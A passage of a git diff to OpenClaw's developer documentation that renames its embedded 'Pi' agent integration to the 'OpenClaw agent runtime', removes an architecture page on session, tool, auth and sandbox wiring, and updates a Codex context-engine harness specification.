`test:docker:mcp-channels`, `test:docker:agent-bundle-mcp-tools`, `test:docker:cron-mcp-cleanup`, `test:docker:plugins`, `test:docker:plugin-update`, `test:docker:plugin-lifecycle-matrix`, and `test:docker:config-reload` boot one or more real containers and verify higher-level integration paths. - Docker/Bash E2E lanes that install the packed OpenClaw tarball through `scripts/lib/openclaw-e2e-instance.sh` cap `npm install` at `OPENCLAW_E2E_NPM_INSTALL_TIMEOUT` (default `600s`; set `0` to disable the wrapper for debugging). The live-model Docker runners also bind-mount only the needed CLI auth homes (or all supported ones when the run is not narrowed), then copy them into the container home before the run so external-CLI OAuth can refresh tokens without mutating the host auth store: @@ -782,7 +782,7 @@ The live-model Docker runners also bind-mount only the needed CLI auth homes (or - Browser CDP snapshot smoke: `pnpm test:docker:browser-cdp-snapshot` (script: `scripts/e2e/browser-cdp-snapshot-docker.sh`) builds the source E2E image plus a Chromium layer, starts Chromium with raw CDP, runs `browser doctor --deep`, and verifies CDP role snapshots cover link URLs, cursor-promoted clickables, iframe refs, and frame metadata. - OpenAI Responses web_search minimal reasoning regression: `pnpm test:docker:openai-web-search-minimal` (script: `scripts/e2e/openai-web-search-minimal-docker.sh`) runs a mocked OpenAI server through Gateway, verifies `web_search` raises `reasoning.effort` from `minimal` to `low`, then forces the provider schema reject and checks the raw detail appears in Gateway logs. - MCP channel bridge (seeded Gateway + stdio bridge + raw Claude notification-frame smoke): `pnpm test:docker:mcp-channels` (script: `scripts/e2e/mcp-channels-docker.sh`) -- Pi bundle MCP tools (real stdio MCP server + embedded Pi profile allow/deny smoke): `pnpm test:docker:pi-bundle-mcp-tools` (script: `scripts/e2e/pi-bundle-mcp-tools-docker.sh`) +- OpenClaw bundle MCP tools (real stdio MCP server + embedded OpenClaw profile allow/deny smoke): `pnpm test:docker:agent-bundle-mcp-tools` (script: `scripts/e2e/agent-bundle-mcp-tools-docker.sh`) - Cron/subagent MCP cleanup (real Gateway + stdio MCP child teardown after isolated cron and one-shot subagent runs): `pnpm test:docker:cron-mcp-cleanup` (script: `scripts/e2e/cron-mcp-cleanup-docker.sh`) - Plugins (install/update smoke for local path, `file:`, npm registry with hoisted dependencies, malformed npm package metadata, git moving refs, ClawHub kitchen-sink, marketplace updates, and Claude-bundle enable/inspect): `pnpm test:docker:plugins` (script: `scripts/e2e/plugins-docker.sh`) Set `OPENCLAW_PLUGINS_E2E_CLAWHUB=0` to skip the ClawHub block, or override the default kitchen-sink package/runtime pair with `OPENCLAW_PLUGINS_E2E_CLAWHUB_SPEC` and `OPENCLAW_PLUGINS_E2E_CLAWHUB_ID`. Without `OPENCLAW_CLAWHUB_URL`/`CLAWHUB_URL`, the test uses a hermetic local ClawHub fixture server. @@ -834,9 +834,9 @@ live event queue behavior, outbound send routing, and Claude-style channel + permission notifications over the real stdio MCP bridge. The notification check inspects the raw stdio MCP frames directly so the smoke validates what the bridge actually emits, not just what a specific client SDK happens to surface. -`test:docker:pi-bundle-mcp-tools` is deterministic and does not need a live +`test:docker:agent-bundle-mcp-tools` is deterministic and does not need a live model key. It builds the repo Docker image, starts a real stdio MCP probe server -inside the container, materializes that server through the embedded Pi bundle +inside the container, materializes that server through the embedded OpenClaw bundle MCP runtime, executes the tool, then verifies `coding` and `messaging` keep `bundle-mcp` tools while `minimal` and `tools.deny: ["bundle-mcp"]` filter them. `test:docker:cron-mcp-cleanup` is deterministic and does not need a live model diff --git a/docs/index.md b/docs/index.md index 0e6f2d429cf..7b962d53c7c 100644 --- a/docs/index.md +++ b/docs/index.md @@ -43,7 +43,7 @@ title: "OpenClaw" ## What is OpenClaw? -OpenClaw is a **self-hosted gateway** that connects your favorite chat apps and channel surfaces — built-in channels plus bundled or external channel plugins such as Discord, Google Chat, iMessage, Matrix, Microsoft Teams, Signal, Slack, Telegram, WhatsApp, Zalo, and more — to AI coding agents like Pi. You run a single Gateway process on your own machine (or a server), and it becomes the bridge between your messaging apps and an always-available AI assistant. +OpenClaw is a **self-hosted gateway** that connects your favorite chat apps and channel surfaces — built-in channels plus bundled or external channel plugins such as Discord, Google Chat, iMessage, Matrix, Microsoft Teams, Signal, Slack, Telegram, WhatsApp, Zalo, and more — to AI coding agents. You run a single Gateway process on your own machine (or a server), and it becomes the bridge between your messaging apps and an always-available AI assistant. **Who is it for?** Developers and power users who want a personal AI assistant they can message from anywhere — without giving up control of their data or relying on a hosted service. @@ -61,7 +61,7 @@ OpenClaw is a **self-hosted gateway** that connects your favorite chat apps and ```mermaid flowchart LR A["Chat apps + plugins"] --> B["Gateway"] - B --> C["Pi agent"] + B --> C["OpenClaw agent"] B --> D["CLI"] B --> E["Web Control UI"] B --> F["macOS app"] @@ -135,7 +135,7 @@ Open the browser Control UI after the Gateway starts. Config lives at `~/.openclaw/openclaw.json`. -- If you **do nothing**, OpenClaw uses the bundled Pi binary in RPC mode with per-sender sessions. +- If you **do nothing**, OpenClaw uses the bundled OpenClaw agent runtime with per-sender sessions. - If you want to lock it down, start with `channels.whatsapp.allowFrom` and (for groups) mention rules. Example: diff --git a/docs/nodes/images.md b/docs/nodes/images.md index 94a887cbd1f..f1c340a2094 100644 --- a/docs/nodes/images.md +++ b/docs/nodes/images.md @@ -37,7 +37,7 @@ The WhatsApp channel runs via **Baileys Web**. This document captures the curren - When media is present, the web sender resolves local paths or URLs using the same pipeline as `openclaw message send`. - Multiple media entries are sent sequentially if provided. -## Inbound media to commands (Pi) +## Inbound Media To Commands - When inbound web messages include media, OpenClaw downloads to a temp file and exposes templating variables: - `{{MediaUrl}}` pseudo-URL for the inbound media. diff --git a/docs/pi-dev.md b/docs/openclaw-agent-runtime.md similarity index 57% rename from docs/pi-dev.md rename to docs/openclaw-agent-runtime.md index d9cf6028d67..c51f787d78c 100644 --- a/docs/pi-dev.md +++ b/docs/openclaw-agent-runtime.md @@ -1,47 +1,47 @@ --- -summary: "Developer workflow for Pi integration: build, test, and live validation" -title: "Pi development workflow" +summary: "Developer workflow for OpenClaw agent runtime: build, test, and live validation" +title: "OpenClaw agent runtime workflow" read_when: - - Working on Pi integration code or tests - - Running Pi-specific lint, typecheck, and live test flows + - Working on OpenClaw agent runtime code or tests + - Running agent-runtime lint, typecheck, and live test flows --- -A sane workflow for working on the Pi integration in OpenClaw. +A sane workflow for working on the OpenClaw agent runtime in OpenClaw. ## Type checking and linting - Default local gate: `pnpm check` - Build gate: `pnpm build` when the change can affect build output, packaging, or lazy-loading/module boundaries -- Full landing gate for Pi-heavy changes: `pnpm check && pnpm test` +- Full landing gate for agent-runtime changes: `pnpm check && pnpm test` -## Running Pi tests +## Running Agent Runtime Tests -Run the Pi-focused test set directly with Vitest: +Run the agent-runtime test set directly with Vitest: ```bash pnpm test \ - "src/agents/pi-*.test.ts" \ - "src/agents/pi-embedded-*.test.ts" \ - "src/agents/pi-tools*.test.ts" \ - "src/agents/pi-settings.test.ts" \ - "src/agents/pi-tool-definition-adapter*.test.ts" \ - "src/agents/pi-hooks/**/*.test.ts" + "src/agents/agent-*.test.ts" \ + "src/agents/embedded-agent-*.test.ts" \ + "src/agents/agent-tools*.test.ts" \ + "src/agents/agent-settings.test.ts" \ + "src/agents/agent-tool-definition-adapter*.test.ts" \ + "src/agents/agent-hooks/**/*.test.ts" ``` To include the live provider exercise: ```bash -OPENCLAW_LIVE_TEST=1 pnpm test src/agents/pi-embedded-runner-extraparams.live.test.ts +OPENCLAW_LIVE_TEST=1 pnpm test src/agents/embedded-agent-runner-extraparams.live.test.ts ``` -This covers the main Pi unit suites: +This covers the main agent runtime unit suites: -- `src/agents/pi-*.test.ts` -- `src/agents/pi-embedded-*.test.ts` -- `src/agents/pi-tools*.test.ts` -- `src/agents/pi-settings.test.ts` -- `src/agents/pi-tool-definition-adapter.test.ts` -- `src/agents/pi-hooks/*.test.ts` +- `src/agents/agent-*.test.ts` +- `src/agents/embedded-agent-*.test.ts` +- `src/agents/agent-tools*.test.ts` +- `src/agents/agent-settings.test.ts` +- `src/agents/agent-tool-definition-adapter.test.ts` +- `src/agents/agent-hooks/*.test.ts` ## Manual testing @@ -79,4 +79,4 @@ If you only want to reset sessions, delete `agents//sessions/` for that ## Related -- [Pi integration architecture](/pi) +- [OpenClaw agent runtime architecture](/agent-runtime-architecture) diff --git a/docs/pi.md b/docs/pi.md deleted file mode 100644 index 12ca5ac5646..00000000000 --- a/docs/pi.md +++ /dev/null @@ -1,573 +0,0 @@ ---- -summary: "Architecture of OpenClaw's embedded Pi agent integration and session lifecycle" -title: "Pi integration architecture" -read_when: - - Understanding Pi SDK integration design in OpenClaw - - Modifying agent session lifecycle, tooling, or provider wiring for Pi ---- - -OpenClaw integrates with [pi-coding-agent](https://github.com/badlogic/pi-mono/tree/main/packages/coding-agent) and its sibling packages (`pi-ai`, `pi-agent-core`, `pi-tui`) to power its AI agent capabilities. - -## Overview - -OpenClaw uses the pi SDK to embed an AI coding agent into its messaging gateway architecture. Instead of spawning pi as a subprocess or using RPC mode, OpenClaw directly imports and instantiates pi's `AgentSession` via `createAgentSession()`. This embedded approach provides: - -- Full control over session lifecycle and event handling -- Custom tool injection (messaging, sandbox, channel-specific actions) -- System prompt customization per channel/context -- Session persistence with branching/compaction support -- Multi-account auth profile rotation with failover -- Provider-agnostic model switching - -## Package dependencies - -```json -{ - "@earendil-works/pi-agent-core": "0.75.1", - "@earendil-works/pi-ai": "0.75.1", - "@earendil-works/pi-coding-agent": "0.75.1", - "@earendil-works/pi-tui": "0.75.1" -} -``` - -| Package | Purpose | -| ----------------- | ------------------------------------------------------------------------------------------------------ | -| `pi-ai` | Core LLM abstractions: `Model`, `streamSimple`, message types, provider APIs | -| `pi-agent-core` | Agent loop, tool execution, `AgentMessage` types | -| `pi-coding-agent` | High-level SDK: `createAgentSession`, `SessionManager`, `AuthStorage`, `ModelRegistry`, built-in tools | -| `pi-tui` | Terminal UI components (used in OpenClaw's local TUI mode) | - -## File structure - -``` -src/agents/ -├── pi-embedded-runner.ts # Re-exports from pi-embedded-runner/ -├── pi-embedded-runner/ -│ ├── run.ts # Main entry: runEmbeddedPiAgent() -│ ├── run/ -│ │ ├── attempt.ts # Single attempt logic with session setup -│ │ ├── params.ts # RunEmbeddedPiAgentParams type -│ │ ├── payloads.ts # Build response payloads from run results -│ │ ├── images.ts # Vision model image injection -│ │ └── types.ts # EmbeddedRunAttemptResult -│ ├── abort.ts # Abort error detection -│ ├── cache-ttl.ts # Cache TTL tracking for context pruning -│ ├── compact.ts # Manual/auto compaction logic -│ ├── extensions.ts # Load pi extensions for embedded runs -│ ├── extra-params.ts # Provider-specific stream params -│ ├── google.ts # Google/Gemini turn ordering fixes -│ ├── history.ts # History limiting (DM vs group) -│ ├── lanes.ts # Session/global command lanes -│ ├── logger.ts # Subsystem logger -│ ├── model.ts # Model resolution via ModelRegistry -│ ├── runs.ts # Active run tracking, abort, queue -│ ├── sandbox-info.ts # Sandbox info for system prompt -│ ├── session-manager-cache.ts # SessionManager instance caching -│ ├── session-manager-init.ts # Session file initialization -│ ├── system-prompt.ts # System prompt builder -│ ├── tool-split.ts # Split tools into builtIn vs custom -│ ├── types.ts # EmbeddedPiAgentMeta, EmbeddedPiRunResult -│ └── utils.ts # ThinkLevel mapping, error description -├── pi-embedded-subscribe.ts # Session event subscription/dispatch -├── pi-embedded-subscribe.types.ts # SubscribeEmbeddedPiSessionParams -├── pi-embedded-subscribe.handlers.ts # Event handler factory -├── pi-embedded-subscribe.handlers.lifecycle.ts -├── pi-embedded-subscribe.handlers.types.ts -├── pi-embedded-block-chunker.ts # Streaming block reply chunking -├── pi-embedded-messaging.ts # Messaging tool sent tracking -├── pi-embedded-helpers.ts # Error classification, turn validation -├── pi-embedded-helpers/ # Helper modules -├── pi-embedded-utils.ts # Formatting utilities -├── pi-tools.ts # createOpenClawCodingTools() -├── pi-tools.abort.ts # AbortSignal wrapping for tools -├── pi-tools.policy.ts # Tool allowlist/denylist policy -├── pi-tools.read.ts # Read tool customizations -├── pi-tools.schema.ts # Tool schema normalization -├── pi-tools.types.ts # AnyAgentTool type alias -├── pi-tool-definition-adapter.ts # AgentTool -> ToolDefinition adapter -├── pi-settings.ts # Settings overrides -├── pi-hooks/ # Custom pi hooks -│ ├── compaction-safeguard.ts # Safeguard extension -│ ├── compaction-safeguard-runtime.ts -│ ├── context-pruning.ts # Cache-TTL context pruning extension -│ └── context-pruning/ -├── model-auth.ts # Auth profile resolution -├── auth-profiles.ts # Profile store, cooldown, failover -├── model-selection.ts # Default model resolution -├── models-config.ts # models.json generation -├── model-catalog.ts # Model catalog cache -├── context-window-guard.ts # Context window validation -├── failover-error.ts # FailoverError class -├── defaults.ts # DEFAULT_PROVIDER, DEFAULT_MODEL -├── system-prompt.ts # buildAgentSystemPrompt() -├── system-prompt-params.ts # System prompt parameter resolution -├── system-prompt-report.ts # Debug report generation -├── tool-summaries.ts # Tool description summaries -├── tool-policy.ts # Tool policy resolution -├── transcript-policy.ts # Transcript validation policy -├── skills.ts # Skill snapshot/prompt building -├── skills/ # Skill subsystem -├── sandbox.ts # Sandbox context resolution -├── sandbox/ # Sandbox subsystem -├── channel-tools.ts # Channel-specific tool injection -├── openclaw-tools.ts # OpenClaw-specific tools -├── bash-tools.ts # exec/process tools -├── apply-patch.ts # apply_patch tool (OpenAI) -├── tools/ # Individual tool implementations -│ ├── browser-tool.ts -│ ├── canvas-tool.ts -│ ├── cron-tool.ts -│ ├── gateway-tool.ts -│ ├── image-tool.ts -│ ├── message-tool.ts -│ ├── nodes-tool.ts -│ ├── session*.ts -│ ├── web-*.ts -│ └── ... -└── ... -``` - -Channel-specific message action runtimes now live in the plugin-owned extension -directories instead of under `src/agents/tools`, for example: - -- the Discord plugin action runtime files -- the Slack plugin action runtime file -- the Telegram plugin action runtime file -- the WhatsApp plugin action runtime file - -## Core integration flow - -### 1. Running an Embedded Agent - -The main entry point is `runEmbeddedPiAgent()` in `pi-embedded-runner/run.ts`: - -```typescript -import { runEmbeddedPiAgent } from "./agents/pi-embedded-runner.js"; - -const result = await runEmbeddedPiAgent({ - sessionId: "user-123", - sessionKey: "main:whatsapp:+1234567890", - sessionFile: "/path/to/session.jsonl", - workspaceDir: "/path/to/workspace", - config: openclawConfig, - prompt: "Hello, how are you?", - provider: "anthropic", - model: "claude-sonnet-4-6", - timeoutMs: 120_000, - runId: "run-abc", - onBlockReply: async (payload) => { - await sendToChannel(payload.text, payload.mediaUrls); - }, -}); -``` - -### 2. Session Creation - -Inside `runEmbeddedAttempt()` (called by `runEmbeddedPiAgent()`), the pi SDK is used: - -```typescript -import { - createAgentSession, - DefaultResourceLoader, - SessionManager, - SettingsManager, -} from "@earendil-works/pi-coding-agent"; - -const resourceLoader = new DefaultResourceLoader({ - cwd: resolvedWorkspace, - agentDir, - settingsManager, - additionalExtensionPaths, -}); -await resourceLoader.reload(); - -const { session } = await createAgentSession({ - cwd: resolvedWorkspace, - agentDir, - authStorage: params.authStorage, - modelRegistry: params.modelRegistry, - model: params.model, - thinkingLevel: mapThinkingLevel(params.thinkLevel), - tools: builtInTools, - customTools: allCustomTools, - sessionManager, - settingsManager, - resourceLoader, -}); - -applySystemPromptOverrideToSession(session, systemPromptOverride); -``` - -### 3. Event Subscription - -`subscribeEmbeddedPiSession()` subscribes to pi's `AgentSession` events: - -```typescript -const subscription = subscribeEmbeddedPiSession({ - session: activeSession, - runId: params.runId, - verboseLevel: params.verboseLevel, - reasoningMode: params.reasoningLevel, - toolResultFormat: params.toolResultFormat, - onToolResult: params.onToolResult, - onReasoningStream: params.onReasoningStream, - onBlockReply: params.onBlockReply, - onPartialReply: params.onPartialReply, - onAgentEvent: params.onAgentEvent, -}); -``` - -Events handled include: - -- `message_start` / `message_end` / `message_update` (streaming text/thinking) -- `tool_execution_start` / `tool_execution_update` / `tool_execution_end` -- `turn_start` / `turn_end` -- `agent_start` / `agent_end` -- `compaction_start` / `compaction_end` - -### 4. Prompting - -After setup, the session is prompted: - -```typescript -await session.prompt(effectivePrompt, { images: imageResult.images }); -``` - -The SDK handles the full agent loop: sending to LLM, executing tool calls, streaming responses. - -Image injection is prompt-local: OpenClaw loads image refs from the current prompt and -passes them via `images` for that turn only. It does not re-scan older history turns -to re-inject image payloads. - -## Tool architecture - -### Tool pipeline - -1. **Base Tools**: pi's `codingTools` (read, bash, edit, write) -2. **Custom Replacements**: OpenClaw replaces bash with `exec`/`process`, customizes read/edit/write for sandbox -3. **OpenClaw Tools**: messaging, browser, canvas, sessions, cron, gateway, etc. -4. **Channel Tools**: Discord/Telegram/Slack/WhatsApp-specific action tools -5. **Policy Filtering**: Tools filtered by profile, provider, agent, group, sandbox policies -6. **Schema Normalization**: Schemas cleaned for Gemini/OpenAI quirks -7. **AbortSignal Wrapping**: Tools wrapped to respect abort signals - -### Tool definition adapter - -pi-agent-core's `AgentTool` has a different `execute` signature than pi-coding-agent's `ToolDefinition`. The adapter in `pi-tool-definition-adapter.ts` bridges this: - -```typescript -export function toToolDefinitions(tools: AnyAgentTool[]): ToolDefinition[] { - return tools.map((tool) => ({ - name: tool.name, - label: tool.label ?? name, - description: tool.description ?? "", - parameters: tool.parameters, - execute: async (toolCallId, params, onUpdate, _ctx, signal) => { - // pi-coding-agent signature differs from pi-agent-core - return await tool.execute(toolCallId, params, signal, onUpdate); - }, - })); -} -``` - -### Tool split strategy - -`splitSdkTools()` passes all tools via `customTools`: - -```typescript -export function splitSdkTools(options: { tools: AnyAgentTool[]; sandboxEnabled: boolean }) { - return { - builtInTools: [], // Empty. We override everything - customTools: toToolDefinitions(options.tools), - }; -} -``` - -This ensures OpenClaw's policy filtering, sandbox integration, and extended toolset remain consistent across providers. - -## System prompt construction - -The system prompt is built in `buildAgentSystemPrompt()` (`system-prompt.ts`). It assembles a full prompt with sections including Tooling, Tool Call Style, Safety guardrails, OpenClaw Control, Skills, Docs, Workspace, Sandbox, Messaging, Assistant Output Directives, Voice, Silent Replies, Heartbeats, Runtime metadata, plus Memory and Reactions when enabled, and optional context files and extra system prompt content. Sections are trimmed for minimal prompt mode used by subagents. - -The prompt is applied after session creation via `applySystemPromptOverrideToSession()`: - -```typescript -const systemPromptOverride = createSystemPromptOverride(appendPrompt); -applySystemPromptOverrideToSession(session, systemPromptOverride); -``` - -## Session management - -### Session files - -Sessions are JSONL files with tree structure (id/parentId linking). Pi's `SessionManager` handles persistence: - -```typescript -const sessionManager = SessionManager.open(params.sessionFile); -``` - -OpenClaw wraps this with `guardSessionManager()` for tool result safety. - -### Session caching - -`session-manager-cache.ts` caches SessionManager instances to avoid repeated file parsing: - -```typescript -await prewarmSessionFile(params.sessionFile); -sessionManager = SessionManager.open(params.sessionFile); -trackSessionManagerAccess(params.sessionFile); -``` - -### History limiting - -`limitHistoryTurns()` trims conversation history based on channel type (DM vs group). - -### Compaction - -Auto-compaction triggers on context overflow. Common overflow signatures -include `request_too_large`, `context length exceeded`, `input exceeds the -maximum number of tokens`, `input token count exceeds the maximum number of -input tokens`, `input is too long for the model`, and `ollama error: context -length exceeded`. `compactEmbeddedPiSessionDirect()` handles manual -compaction: - -```typescript -const compactResult = await compactEmbeddedPiSessionDirect({ - sessionId, sessionFile, provider, model, ... -}); -``` - -## Authentication and model resolution - -### Auth profiles - -OpenClaw maintains an auth profile store with multiple API keys per provider: - -```typescript -const authStore = ensureAuthProfileStore(agentDir, { allowKeychainPrompt: false }); -const profileOrder = resolveAuthProfileOrder({ cfg, store: authStore, provider, preferredProfile }); -``` - -Profiles rotate on failures with cooldown tracking: - -```typescript -await markAuthProfileFailure({ store, profileId, reason, cfg, agentDir }); -const rotated = await advanceAuthProfile(); -``` - -### Model resolution - -```typescript -import { resolveModel } from "./pi-embedded-runner/model.js"; - -const { model, error, authStorage, modelRegistry } = resolveModel( - provider, - modelId, - agentDir, - config, -); - -// Uses pi's ModelRegistry and AuthStorage -authStorage.setRuntimeApiKey(model.provider, apiKeyInfo.apiKey); -``` - -### Failover - -`FailoverError` triggers model fallback when configured: - -```typescript -if (fallbackConfigured && isFailoverErrorMessage(errorText)) { - throw new FailoverError(errorText, { - reason: promptFailoverReason ?? "unknown", - provider, - model: modelId, - profileId, - status: resolveFailoverStatus(promptFailoverReason), - }); -} -``` - -## Pi extensions - -OpenClaw loads custom pi extensions for specialized behavior: - -### Compaction safeguard - -`src/agents/pi-hooks/compaction-safeguard.ts` adds guardrails to compaction, including adaptive token budgeting plus tool failure and file operation summaries: - -```typescript -if (resolveCompactionMode(params.cfg) === "safeguard") { - setCompactionSafeguardRuntime(params.sessionManager, { maxHistoryShare }); - paths.push(resolvePiExtensionPath("compaction-safeguard")); -} -``` - -### Context pruning - -`src/agents/pi-hooks/context-pruning.ts` implements cache-TTL based context pruning: - -```typescript -if (cfg?.agents?.defaults?.contextPruning?.mode === "cache-ttl") { - setContextPruningRuntime(params.sessionManager, { - settings, - contextWindowTokens, - isToolPrunable, - lastCacheTouchAt, - }); - paths.push(resolvePiExtensionPath("context-pruning")); -} -``` - -## Streaming and block replies - -### Block chunking - -`EmbeddedBlockChunker` manages streaming text into discrete reply blocks: - -```typescript -const blockChunker = blockChunking ? new EmbeddedBlockChunker(blockChunking) : null; -``` - -### Thinking/Final Tag Stripping - -Streaming output is processed to strip ``/`` blocks and extract `` content: - -```typescript -const stripBlockTags = (text: string, state: { thinking: boolean; final: boolean }) => { - // Strip ... content - // If enforceFinalTag, only return ... content -}; -``` - -### Reply directives - -Reply directives like `[[media:url]]`, `[[voice]]`, `[[reply:id]]` are parsed and extracted: - -```typescript -const { text: cleanedText, mediaUrls, audioAsVoice, replyToId } = consumeReplyDirectives(chunk); -``` - -## Error handling - -### Error classification - -`pi-embedded-helpers.ts` classifies errors for appropriate handling: - -```typescript -isContextOverflowError(errorText) // Context too large -isCompactionFailureError(errorText) // Compaction failed -isAuthAssistantError(lastAssistant) // Auth failure -isRateLimitAssistantError(...) // Rate limited -isFailoverAssistantError(...) // Should failover -classifyFailoverReason(errorText) // "auth" | "rate_limit" | "quota" | "timeout" | ... -``` - -### Thinking level fallback - -If a thinking level is unsupported, it falls back: - -```typescript -const fallbackThinking = pickFallbackThinkingLevel({ - message: errorText, - attempted: attemptedThinking, -}); -if (fallbackThinking) { - thinkLevel = fallbackThinking; - continue; -} -``` - -## Sandbox integration - -When sandbox mode is enabled, tools and paths are constrained: - -```typescript -const sandbox = await resolveSandboxContext({ - config: params.config, - sessionKey: sandboxSessionKey, - workspaceDir: resolvedWorkspace, -}); - -if (sandboxRoot) { - // Use sandboxed read/edit/write tools - // Exec runs in container - // Browser uses bridge URL -} -``` - -## Provider-Specific Handling - -### Anthropic - -- Refusal magic string scrubbing -- Turn validation for consecutive roles -- Strict upstream Pi tool parameter validation - -### Google/Gemini - -- Plugin-owned tool schema sanitization - -### OpenAI - -- `apply_patch` tool for Codex models -- Thinking level downgrade handling - -## TUI Integration - -OpenClaw also has a local TUI mode that uses pi-tui components directly: - -```typescript -// src/tui/tui.ts -import { ... } from "@earendil-works/pi-tui"; -``` - -This provides the interactive terminal experience similar to pi's native mode. - -## Key differences from Pi CLI - -| Aspect | Pi CLI | OpenClaw Embedded | -| --------------- | ----------------------- | ---------------------------------------------------------------------------------------------- | -| Invocation | `pi` command / RPC | SDK via `createAgentSession()` | -| Tools | Default coding tools | Custom OpenClaw tool suite | -| System prompt | AGENTS.md + prompts | Dynamic per-channel/context | -| Session storage | `~/.pi/agent/sessions/` | `~/.openclaw/agents//sessions/` (or `$OPENCLAW_STATE_DIR/agents//sessions/`) | -| Auth | Single credential | Multi-profile with rotation | -| Extensions | Loaded from disk | Programmatic + disk paths | -| Event handling | TUI rendering | Callback-based (onBlockReply, etc.) | - -## Future considerations - -Areas for potential rework: - -1. **Tool signature alignment**: Currently adapting between pi-agent-core and pi-coding-agent signatures -2. **Session manager wrapping**: `guardSessionManager` adds safety but increases complexity -3. **Extension loading**: Could use pi's `ResourceLoader` more directly -4. **Streaming handler complexity**: `subscribeEmbeddedPiSession` has grown large -5. **Provider quirks**: Many provider-specific codepaths that pi could potentially handle - -## Tests - -Pi integration coverage spans these suites: - -- `src/agents/pi-*.test.ts` -- `src/agents/pi-auth-json.test.ts` -- `src/agents/pi-embedded-*.test.ts` -- `src/agents/pi-embedded-helpers*.test.ts` -- `src/agents/pi-embedded-runner*.test.ts` -- `src/agents/pi-embedded-runner/**/*.test.ts` -- `src/agents/pi-embedded-subscribe*.test.ts` -- `src/agents/pi-tools*.test.ts` -- `src/agents/pi-tool-definition-adapter*.test.ts` -- `src/agents/pi-settings.test.ts` -- `src/agents/pi-hooks/**/*.test.ts` - -Live/opt-in: - -- `src/agents/pi-embedded-runner-extraparams.live.test.ts` (enable `OPENCLAW_LIVE_TEST=1`) - -For current run commands, see [Pi Development Workflow](/pi-dev). - -## Related - -- [Pi development workflow](/pi-dev) -- [Install overview](/install) diff --git a/docs/plan/codex-context-engine-harness.md b/docs/plan/codex-context-engine-harness.md index 009cc24ce4d..d2d90fbc34c 100644 --- a/docs/plan/codex-context-engine-harness.md +++ b/docs/plan/codex-context-engine-harness.md @@ -4,7 +4,7 @@ summary: "Specification for making the bundled Codex app-server harness honor Op read_when: - You are wiring context-engine lifecycle behavior into the Codex harness - You need lossless-claw or another context-engine plugin to work with codex/* embedded harness sessions - - You are comparing embedded PI and Codex app-server context behavior + - You are comparing embedded OpenClaw and Codex app-server context behavior --- ## Status @@ -14,10 +14,10 @@ Draft implementation specification. ## Goal Make the bundled Codex app-server harness honor the same OpenClaw context-engine -lifecycle contract that embedded PI turns already honor. +lifecycle contract that embedded OpenClaw turns already honor. -A session using `agents.defaults.embeddedHarness.runtime: "codex"` or a -`codex/*` model should still let the selected context-engine plugin, such as +A session using provider/model `agentRuntime.id: "codex"` or a `codex/*` model +should still let the selected context-engine plugin, such as `lossless-claw`, control context assembly, post-turn ingest, maintenance, and OpenClaw-level compaction policy as far as the Codex app-server boundary allows. @@ -36,7 +36,7 @@ OpenClaw-level compaction policy as far as the Codex app-server boundary allows. The embedded run loop resolves the configured context engine once per run before selecting a concrete low-level harness: -- `src/agents/pi-embedded-runner/run.ts` +- `src/agents/embedded-agent-runner/run.ts` - initializes context-engine plugins - calls `resolveContextEngine(params.config)` - passes `contextEngine` and `contextTokenBudget` into @@ -44,7 +44,7 @@ selecting a concrete low-level harness: `runEmbeddedAttemptWithBackend(...)` delegates to the selected agent harness: -- `src/agents/pi-embedded-runner/run/backend.ts` +- `src/agents/embedded-agent-runner/run/backend.ts` - `src/agents/harness/selection.ts` The Codex app-server harness is registered by the bundled Codex plugin: @@ -53,7 +53,7 @@ The Codex app-server harness is registered by the bundled Codex plugin: - `extensions/codex/harness.ts` The Codex harness implementation receives the same `EmbeddedRunAttemptParams` -as PI-backed attempts: +as built-in OpenClaw attempts: - `extensions/codex/src/app-server/run-attempt.ts` @@ -65,7 +65,7 @@ compactor. ## Current gap -Embedded PI attempts call the context-engine lifecycle directly: +Built-in OpenClaw attempts call the context-engine lifecycle directly: - bootstrap/maintenance before the attempt - assemble before the model call @@ -73,11 +73,11 @@ Embedded PI attempts call the context-engine lifecycle directly: - maintenance after a successful turn - context-engine compaction for engines that own compaction -Relevant PI code: +Relevant OpenClaw code: -- `src/agents/pi-embedded-runner/run/attempt.ts` -- `src/agents/pi-embedded-runner/run/attempt.context-engine-helpers.ts` -- `src/agents/pi-embedded-runner/context-engine-maintenance.ts` +- `src/agents/embedded-agent-runner/run/attempt.ts` +- `src/agents/embedded-agent-runner/run/attempt.context-engine-helpers.ts` +- `src/agents/embedded-agent-runner/context-engine-maintenance.ts` Codex app-server attempts currently run generic agent-harness hooks and mirror the transcript, but do not call `params.contextEngine.bootstrap`, @@ -147,10 +147,10 @@ ordering to generated context text. Harness selection remains as-is: -- `runtime: "pi"` forces PI +- `runtime: "openclaw"` selects the built-in OpenClaw harness - `runtime: "codex"` selects the registered Codex harness - `runtime: "auto"` lets plugin harnesses claim supported providers -- unmatched `auto` runs use PI +- unmatched `auto` runs use the built-in OpenClaw harness This work changes what happens after the Codex harness is selected. @@ -158,14 +158,14 @@ This work changes what happens after the Codex harness is selected. ### 1. Export or relocate reusable context-engine attempt helpers -Today the reusable lifecycle helpers live under the PI runner: +Today the reusable lifecycle helpers live under the embedded agent runner: -- `src/agents/pi-embedded-runner/run/attempt.context-engine-helpers.ts` -- `src/agents/pi-embedded-runner/run/attempt.prompt-helpers.ts` -- `src/agents/pi-embedded-runner/context-engine-maintenance.ts` +- `src/agents/embedded-agent-runner/run/attempt.context-engine-helpers.ts` +- `src/agents/embedded-agent-runner/run/attempt.prompt-helpers.ts` +- `src/agents/embedded-agent-runner/context-engine-maintenance.ts` -Codex should not import from an implementation path whose name implies PI if we -can avoid it. +Codex should import harness-neutral helpers rather than reaching into runner +implementation details. Create a harness-neutral module, for example: @@ -180,10 +180,9 @@ Move or re-export: - `buildAfterTurnRuntimeContextFromUsage` - a small wrapper around `runContextEngineMaintenance` -Keep PI imports working either by re-exporting from the old files or updating PI -call sites in the same PR. +Update built-in harness call sites in the same PR. -The neutral helper names should not mention PI. +The neutral helper names should not mention the built-in harness. Suggested names: @@ -324,10 +323,11 @@ should become context-aware: 3. run `before_prompt_build` with the projected prompt/developer instructions This order lets generic prompt hooks see the same prompt Codex will receive. If -we need strict PI parity, run context-engine assembly before hook composition, -because PI applies context-engine `systemPromptAddition` to the final system -prompt after its prompt pipeline. The important invariant is that both context -engine and hooks get a deterministic, documented order. +we need strict OpenClaw parity, run context-engine assembly before hook +composition, because the built-in harness applies context-engine +`systemPromptAddition` to the final system prompt after its prompt pipeline. The +important invariant is that both context engine and hooks get a deterministic, +documented order. Recommended order for first implementation: @@ -472,7 +472,7 @@ context-engine lifecycle currently misses reset/delete events for all harnesses. ### 10. Error handling -Follow 